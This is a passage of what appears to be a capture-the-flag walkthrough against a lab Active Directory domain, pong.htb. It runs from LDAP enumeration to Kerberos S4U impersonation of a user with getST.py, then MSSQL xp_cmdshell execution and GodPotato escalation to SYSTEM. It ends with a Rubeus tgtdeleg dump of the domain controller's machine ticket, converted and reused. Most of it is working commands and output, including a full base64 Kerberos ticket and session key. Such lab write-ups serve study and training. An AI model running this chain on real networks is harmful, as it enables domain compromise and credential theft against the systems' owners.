nTSecurityDescriptor: O:S-1-5-21-2410575906-3092493790-2123333151-512G:S-1-5-21-2410575906-3092493790-2123333151-512D:AI(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2410575906-3092493790-2123333151-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: C.Adam
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pong,DC=htb
objectClass: top; person; organizationalPerson; user
objectGUID: bf03f026-f03d-4fdf-a04e-d47c743c0634
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1117
primaryGroupID: 513
pwdLastSet: 2026-01-16 14:20:41.764756+00:00
sAMAccountName: C.Adam
sAMAccountType: 805306368
uSNChanged: 61550
uSNCreated: 61546
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
whenChanged: 2026-01-16 14:20:41+00:00
whenCreated: 2026-01-16 14:20:41+00:00
c.carlssen@pong.htb> $ bloodyAD --host dc2.pong.htb -k -d pong.htb get object "P.Reiner"
distinguishedName: CN=P.Reiner,CN=Users,DC=pong,DC=htb
accountExpires: 9999-12-31 23:59:59.999999+00:00
badPasswordTime: 1601-01-01 00:00:00+00:00
badPwdCount: 0
cn: P.Reiner
codePage: 0
countryCode: 0
dSCorePropagationData: 1601-01-01 00:00:00+00:00
instanceType: 4
lastLogoff: 1601-01-01 00:00:00+00:00
lastLogon: 1601-01-01 00:00:00+00:00
logonCount: 0
memberOf: CN=Database Admins,CN=Users,DC=pong,DC=htb
nTSecurityDescriptor: O:S-1-5-21-2410575906-3092493790-2123333151-512G:S-1-5-21-2410575906-3092493790-2123333151-512D:AI(OA;;RP;4c164200-20c0-11d0-a768-00aa006e0529;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;RP;037088f8-0ae1-11d2-b422-00a0c968f939;;S-1-5-21-2410575906-3092493790-2123333151-553)(OA;;0x30;bf967a7f-0de6-11d0-a285-00aa003049e2;;S-1-5-21-2410575906-3092493790-2123333151-517)(OA;;RP;46a9b11d-60ae-405a-b7e8-ff8a58d456d2;;S-1-5-32-560)(OA;;0x30;6db69a1c-9422-11d1-aebd-0000f80367c1;;S-1-5-32-561)(OA;;0x30;5805bc62-bdc9-4428-a5e2-856a0f4c185e;;S-1-5-32-561)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-1-0)(OA;;CR;ab721a53-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a54-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;CR;ab721a56-1e2f-11d0-9819-00aa0040529b;;S-1-5-10)(OA;;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;;S-1-5-11)(OA;;RP;e48d0154-bcf8-11d1-8702-00c04fb96050;;S-1-5-11)(OA;;RP;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;RP;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-11)(OA;;0x30;77b5b886-944a-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b2-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(OA;;0x30;e45795b3-9455-11d1-aebd-0000f80367c1;;S-1-5-10)(A;;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-512)(A;;0xf01ff;;;S-1-5-32-548)(A;;RC;;;S-1-5-11)(A;;0x20094;;;S-1-5-10)(A;;0xf01ff;;;S-1-5-18)(OA;CIIOID;RP;4c164200-20c0-11d0-a768-00aa006e0529;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;4c164200-20c0-11d0-a768-00aa006e0529;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;5f202010-79a5-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;bc0ac240-79a9-11d0-9020-00c04fc2d4cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;59ba2f42-79a2-11d0-9020-00c04fc2d3cf;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIIOID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIID;RP;037088f8-0ae1-11d2-b422-00a0c968f939;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-526)(OA;CIID;0x30;5b47d60f-6090-40b2-9f37-2a4de88f3063;;S-1-5-21-2410575906-3092493790-2123333151-527)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-3-0)(OA;CIIOID;SW;9b026da6-0d3c-465c-8bee-5199d7165cba;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIID;RP;b7c69e6d-2cc7-11d2-854e-00a0c983f608;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-9)(OA;CIIOID;WP;ea1b7b93-5e48-46d5-bc6c-4df4fda78a35;bf967a86-0de6-11d0-a285-00aa003049e2;S-1-5-10)(OA;CIIOID;0x20094;;4828cc14-1437-45bc-9b07-ad6f015e5f28;S-1-5-32-554)(OA;CIIOID;0x20094;;bf967a9c-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;CIID;0x20094;;bf967aba-0de6-11d0-a285-00aa003049e2;S-1-5-32-554)(OA;OICIID;0x30;3f78c3e5-f79a-46bd-a0b8-9d18116ddc79;;S-1-5-10)(OA;CIID;0x130;91e647de-d96f-4b70-9557-d63ff4f3ccd8;;S-1-5-10)(A;CIID;0xf01ff;;;S-1-5-21-2410575906-3092493790-2123333151-519)(A;CIID;LC;;;S-1-5-32-554)(A;CIID;0xf01bd;;;S-1-5-32-544)
name: P.Reiner
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=pong,DC=htb
objectClass: top; person; organizationalPerson; user
objectGUID: 24ab5f79-147e-4250-bf27-d9512be42618
objectSid: S-1-5-21-2410575906-3092493790-2123333151-1116
primaryGroupID: 513
pwdLastSet: 2026-01-16 14:20:41.748796+00:00
sAMAccountName: P.Reiner
sAMAccountType: 805306368
uSNChanged: 61544
uSNCreated: 61540
userAccountControl: NORMAL_ACCOUNT; DONT_EXPIRE_PASSWORD
whenChanged: 2026-01-16 14:20:41+00:00
whenCreated: 2026-01-16 14:20:41+00:00
C.Adam has a badPWCount of 4 indicating an active user, let’s impersonate them.
1
2
3
4
5
6
7
8
Pong_gMSA\$@pong.htb> $ getST.py -k -ts -no-pass -spn 'mssqlsvc/dc2.pong.htb' -impersonate 'c.adam' 'pong.htb/Pong_gMSA$' -dc-ip 192.168.2.2
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[2026-05-15 07:26:46] [*] Impersonating c.adam
[2026-05-15 07:26:46] [*] Requesting S4U2self
[2026-05-15 07:26:46] [*] Requesting S4U2Proxy
[2026-05-15 07:26:46] [*] Saving ticket in c.adam@mssqlsvc_dc2.pong.htb@PONG.HTB.ccache
Now if we authenticate to the database server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
c.adam@pong.htb> $ mssqlclient.py -k -no-pass pong.htb/c.adam@dc2.pong.htb
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC2): Line 1: Changed database context to 'master'.
[*] INFO(DC2): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (pong\C.Adam dbo@master)> select user_name();
---
dbo
SQL (pong\C.Adam dbo@master)> enable_xp_cmdshell
INFO(DC2): Line 196: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(DC2): Line 196: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (pong\C.Adam dbo@master)> xp_cmdshell whoami
output
------------
pong\svc_sql
NULL
Local Privilege Escalation
I’ve been having some issues getting it to connect to a reverse_shell however we’re able to enumerate SeImpersonate privileges
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
SQL (pong\C.Adam dbo@master)> xp_cmdshell whoami /priv
output
--------------------------------------------------------------------------------
NULL
PRIVILEGES INFORMATION
----------------------
NULL
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
NULL
So I used upload to put down GodPotato.exe and run it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
SQL (pong\C.Adam dbo@master)> xp_cmdshell C:\W1ld\GodPotato.exe -cmd "cmd /c whoami"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140711700725760
[*] DispatchTable: 0x140711703312712
[*] UseProtseqFunction: 0x140711702605344
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\c622982f-8169-4fea-a285-f9f54c663f45\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00009802-08b0-ffff-fdd7-406d5eb6b514
[*] DCOM obj OXID: 0x6a975a5641fdc35
[*] DCOM obj OID: 0x5a3d2cf69b145cea
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 876 Token:0x760 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3212
nt authority\system
NULL
Afterwhich I can dump the DC2 Ticket with Rubeus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
SQL (pong\C.Adam dbo@master)> xp_cmdshell C:\W1ld\GodPotato.exe -cmd "C:\W1ld\Rubeus.exe tgtdeleg /nowrap"
output
--------------------------------------------------------------------------------
[*] CombaseModule: 0x140711700725760
[*] DispatchTable: 0x140711703312712
[*] UseProtseqFunction: 0x140711702605344
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\43ef8e46-191f-4870-86c0-6e872ccc2b0f\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00001802-05e8-ffff-da87-75cd99e3f9bc
[*] DCOM obj OXID: 0x56f7c1b6fcf26204
[*] DCOM obj OID: 0xce67fce040212d85
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 876 Token:0x760 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 3524
NULL
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
NULL
v2.3.3
NULL
NULL
[*] Action: Request Fake Delegation TGT (current user)
NULL
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC2.pong.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: MfSrGE3ZU+VzqlQ0oMOScIi8kXAhlit1JqYnk97Yl94=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
NULL
doIFSjCCBUagAwIBBaEDAgEWooIEXzCCBFthggRXMIIEU6ADAgEFoQobCFBPTkcuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhQT05HLkhUQqOCBB8wggQboAMCARKhAwIBAqKCBA0EggQJXMd/fkOX//fofpc8gXSHkkFR6T+bJg9dWeSjQXMtQzFdteRlewfafkPa45Ee+2c609DZ+nxDoewm+4KWa4g6jO6o0gEHSbwG4QZrWBHTI
Fi5MuRvM5b4k/2hvj45G8sjWgbY6DnT+FKOSo5ngv/t1Ejg3kAUHxzvX63lWUO7lB1bZtbxyBvemfYiZWlQvky7L+Zllqm75cAru398DpH26YK2B6FrrNZEVI+fKhQoJwzBdrYBCPgjZTl3d9ggNmqbBoa5axiE/6xcqpeEUDlnau5ig2cUbE8rCIkgoHUAUiCiboH6C6V6cD12HW7JqiMxWmomRCoFXSN6NbhssBpfb2ucjmkYfPZ2r9qDrf85
vvEmwP5iPyHFcNV/2xMtF+9XHhGFjMtiMqyNM5/ngftd9taKTz2OFbMW63IKKVZpDb1EzJ5xOL8DznOEhkIZKd46liTfpxotMUjtsFarIIoS/fKjNHoC8tTTKltvrxd8XOcfVjvauWQADyrGjeRZXsiPSuUdVS4i/DErYcUA3ovXThruZO/8heia+4P1y2dWtlPx/ez+ANMRR+2Wvona+Bia5ozYGA90RkifIQYQtvXQLVkVbRhygIABaPNHfYk
yRys4OsFCxL0M1OamFXgbMISpeqP5roWLCKeVqfVMYAPA3KR0RpvdatpvU9i191VmGLL4h3H8NV907kwYHHscUtvEguko8MXwrohGCV/lE1XevhgA84WyKICE1Il0efG1aMMd2JgjlL9MyKv/A73LEkdNfDmWnA8ppxHuk+oRGA9P4nqJWrYvGpmdzdvcKfI5N/O2+YptpUTBY11YPFa4BvzOUgV6uJ0K6FU6iUoUDufdvcPp5p3plHYHsoPFT1
0yOHSX3A5c4vagOEEJaXpQcz8+H94UrTprFMOICGVCIObcvk1WxZb87yTwfM5QcNSzSlEgMEL+P4MZNdRf8dJ3vhrIOHmIrHPyfx4rGqtFGq5e3AMKNpLySMB6/G3lo2zWfg8UJ9yHkhDBxtTQ96j1/Ds1wVFXWYR79r/RFwgxkpPM4tk1iURKuKZ14xaBtrzfRwdVtVsDSXdv3OVwZ6hgCB+TMK+PC3JwBFsd1g3aXDJLrUtU6CnJaz1Hf2YUw
171lgKX1Axb4bmI9JeBUcH0al6lBJhaSW9NHFjy2eCVcEemFL8FOGDi1qQ7yWS6pNLCF1e26rPmaDC6al3O1Jg2xNewqyVQ3aBKxaBZBfqZZ+iJRRKHUf0wazoN87Dd33DH6FfNZeRmiLGK3GxTJmLgf9ozUWuPtxHuH5d/9Ovqmx74DYOr3Iehgt66bejh6E2hmnvxsFVrB8bDDS3BQDS+RVyiRI8308j391r9KFPtJ3+0Rray8vrSY90vLqOB
1jCB06ADAgEAooHLBIHIfYHFMIHCoIG/MIG8MIG5oCswKaADAgESoSIEINn2NkRugzRDtzzLBGqoboISimca6lNa2vLCcBs5E8s7oQobCFBPTkcuSFRCohEwD6ADAgEBoQgwBhsEREMyJKMHAwUAYKEAAKURGA8yMDI2MDUxNTA5NTA1M1qmERgPMjAyNjA1MTUxOTQ5NThapxEYDzIwMjYwNTIyMDk0OTU4WqgKGwhQT05HLkhUQqkdMBugAwI
BAqEUMBIbBmtyYnRndBsIUE9ORy5IVEI=
NULL
I can convert this with ticketConvert.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$ echo 'doIFSjCCBUagAwIBBaEDAgEWooIEXzCCBFthggRXMIIEU6ADAgEFoQobCFBPTkcuSFRCoh0wG6ADAgECoRQwEhsGa3JidGd0GwhQT05HLkhUQqOCBB8wggQboAMCARKhAwIBAqKCBA0EggQJXMd/fkOX//fofpc8gXSHkkFR6T+bJg9dWeSjQXMtQzFdteRlewfafkPa45Ee+2c609DZ+nxDoewm+4KWa4g6jO6o0gEHSbwG4QZrWBHTI
Fi5MuRvM5b4k/2hvj45G8sjWgbY6DnT+FKOSo5ngv/t1Ejg3kAUHxzvX63lWUO7lB1bZtbxyBvemfYiZWlQvky7L+Zllqm75cAru398DpH26YK2B6FrrNZEVI+fKhQoJwzBdrYBCPgjZTl3d9ggNmqbBoa5axiE/6xcqpeEUDlnau5ig2cUbE8rCIkgoHUAUiCiboH6C6V6cD12HW7JqiMxWmomRCoFXSN6NbhssBpfb2ucjmkYfPZ2r9qDrf85
vvEmwP5iPyHFcNV/2xMtF+9XHhGFjMtiMqyNM5/ngftd9taKTz2OFbMW63IKKVZpDb1EzJ5xOL8DznOEhkIZKd46liTfpxotMUjtsFarIIoS/fKjNHoC8tTTKltvrxd8XOcfVjvauWQADyrGjeRZXsiPSuUdVS4i/DErYcUA3ovXThruZO/8heia+4P1y2dWtlPx/ez+ANMRR+2Wvona+Bia5ozYGA90RkifIQYQtvXQLVkVbRhygIABaPNHfYk
yRys4OsFCxL0M1OamFXgbMISpeqP5roWLCKeVqfVMYAPA3KR0RpvdatpvU9i191VmGLL4h3H8NV907kwYHHscUtvEguko8MXwrohGCV/lE1XevhgA84WyKICE1Il0efG1aMMd2JgjlL9MyKv/A73LEkdNfDmWnA8ppxHuk+oRGA9P4nqJWrYvGpmdzdvcKfI5N/O2+YptpUTBY11YPFa4BvzOUgV6uJ0K6FU6iUoUDufdvcPp5p3plHYHsoPFT1
0yOHSX3A5c4vagOEEJaXpQcz8+H94UrTprFMOICGVCIObcvk1WxZb87yTwfM5QcNSzSlEgMEL+P4MZNdRf8dJ3vhrIOHmIrHPyfx4rGqtFGq5e3AMKNpLySMB6/G3lo2zWfg8UJ9yHkhDBxtTQ96j1/Ds1wVFXWYR79r/RFwgxkpPM4tk1iURKuKZ14xaBtrzfRwdVtVsDSXdv3OVwZ6hgCB+TMK+PC3JwBFsd1g3aXDJLrUtU6CnJaz1Hf2YUw
171lgKX1Axb4bmI9JeBUcH0al6lBJhaSW9NHFjy2eCVcEemFL8FOGDi1qQ7yWS6pNLCF1e26rPmaDC6al3O1Jg2xNewqyVQ3aBKxaBZBfqZZ+iJRRKHUf0wazoN87Dd33DH6FfNZeRmiLGK3GxTJmLgf9ozUWuPtxHuH5d/9Ovqmx74DYOr3Iehgt66bejh6E2hmnvxsFVrB8bDDS3BQDS+RVyiRI8308j391r9KFPtJ3+0Rray8vrSY90vLqOB
1jCB06ADAgEAooHLBIHIfYHFMIHCoIG/MIG8MIG5oCswKaADAgESoSIEINn2NkRugzRDtzzLBGqoboISimca6lNa2vLCcBs5E8s7oQobCFBPTkcuSFRCohEwD6ADAgEBoQgwBhsEREMyJKMHAwUAYKEAAKURGA8yMDI2MDUxNTA5NTA1M1qmERgPMjAyNjA1MTUxOTQ5NThapxEYDzIwMjYwNTIyMDk0OTU4WqgKGwhQT05HLkhUQqkdMBugAwI
BAqEUMBIbBmtyYnRndBsIUE9ORy5IVEI=' | tr -d [:space:] > dc2.kirbi
$ ticketConverter.py dc2.kirbi -b dc2.ccache
Impacket v0.14.0.dev0+20260406.132546.b12b2f3b - Copyright Fortra, LLC and its affiliated companies
[*] base64 decoding ticket
[*] converting kirbi to ccache...
[+] done
We can now check authentication:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ nxc ldap dc2.pong.htb -k --use-kcache -M whoami
LDAP dc2.pong.htb 389 DC2 [*] None (name:DC2) (domain:PONG.HTB) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP dc2.pong.htb 389 DC2 [+] PONG.HTB\DC2$ from ccache
WHOAMI dc2.pong.htb 389 DC2 Name: DC2
WHOAMI dc2.pong.htb 389 DC2 sAMAccountName: DC2$
WHOAMI dc2.pong.htb 389 DC2 Enabled: Yes
WHOAMI dc2.pong.htb 389 DC2 Password Never Expires: No
WHOAMI dc2.pong.htb 389 DC2 Last logon: 2026-05-15 09:49:58 UTC
WHOAMI dc2.pong.htb 389 DC2 Password Last Set: 2026-03-17 04:15:40 UTC
WHOAMI dc2.pong.htb 389 DC2 Bad Password Count: 0
WHOAMI dc2.pong.htb 389 DC2 Service Account Name(s) found - Potentially Kerberoastable user!
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC2.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: TERMSRV/DC2
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: TERMSRV/DC2.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2.pong.htb/ForestDnsZones.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2.pong.htb/DomainDnsZones.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: DNS/DC2.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: GC/DC2.pong.htb/pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: RestrictedKrbHost/DC2.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: RestrictedKrbHost/DC2
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: RPC/99c63cd0-b528-4c26-82d9-f01a063008b9._msdcs.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: HOST/DC2/pong
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: HOST/DC2.pong.htb/pong
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: HOST/DC2
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: HOST/DC2.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: HOST/DC2.pong.htb/pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: E3514235-4B06-11D1-AB04-00C04FC2DCD2/99c63cd0-b528-4c26-82d9-f01a063008b9/pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2/pong
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/99c63cd0-b528-4c26-82d9-f01a063008b9._msdcs.pong.htb
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2.pong.htb/pong
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2
WHOAMI dc2.pong.htb 389 DC2 Service Account Name: ldap/DC2.pong.htb
